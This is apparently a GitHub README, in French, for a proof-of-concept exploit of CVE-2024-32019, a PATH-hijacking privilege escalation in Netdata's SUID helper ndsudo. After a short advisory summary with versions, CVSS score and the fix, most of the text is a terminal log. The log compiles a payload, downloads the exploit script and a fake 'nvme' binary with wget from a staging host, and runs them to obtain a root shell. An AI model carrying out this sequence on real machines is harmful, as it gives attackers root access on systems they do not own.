t1erno/cve-2024-32019-netdata-ndsudo-privilege-escalation-pocPoC d'élévation de privilèges Netdata ndsudo
CVE-2024-32019 est une faille locale d'escalade de privilèges dans l'assistant SUID ndsudo de Netdata qui permet à un utilisateur local d'exécuter des programmes arbitraires en tant que root via un chemin de recherche non fiable (détournement de PATH).
Le problème existe car ndsudo restreint les noms de commandes mais les résout en utilisant le PATH de l'appelant, permettant à un utilisateur de placer un binaire malveillant plus tôt dans le PATH et de faire exécuter ce binaire par ndsudo avec les privilèges root.
Elle affecte les versions de Netdata Agent ≥ v1.45.0 et < v1.45.3, et ≥ v1.44.0-60 et < v1.45.0-169, et porte un score CVSS v3.1 de 8.8 (Élevé).
La mitigation consiste à mettre à niveau vers v1.45.3 ou v1.45.0-169 ; la faiblesse correspond à CWE-426 (Chemin de Recherche Non Fiable).
gcc -static payload.c -o nvme -Wall -Werror -Wpedantic
test@ubuntu:/tmp$ wget http://192.168.100.7:8000/CVE-2024-32019.sh
--2025-09-10 23:49:01-- http://192.168.100.7:8000/CVE-2024-32019.sh
Connecting to 192.168.100.7:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 712 [application/x-sh]
Saving to: ‘CVE-2024-32019.sh’
CVE-2024-32019.sh 100%[==================================================>] 712 --.-KB/s in 0s
2025-09-10 23:49:01 (57.1 MB/s) - ‘CVE-2024-32019.sh’ saved [712/712]
test@ubuntu:/tmp$ wget http://192.168.100.7:8000/nvme
--2025-09-10 23:49:10-- http://192.168.100.7:8000/nvme
Connecting to 192.168.100.7:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 832552 (813K) [application/octet-stream]
Saving to: ‘nvme’
nvme 100%[==================================================>] 813.04K 1.98MB/s in 0.4s
2025-09-10 23:49:11 (1.98 MB/s) - ‘nvme’ saved [832552/832552]
test@ubuntu:/tmp$ sh CVE-2024-32019.sh
[+] ndsudo found at: /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
[+] File 'nvme' found in the current directory.
[+] Execution permissions granted to ./nvme
[+] Running ndsudo with modified PATH:
root@ubuntu:/tmp#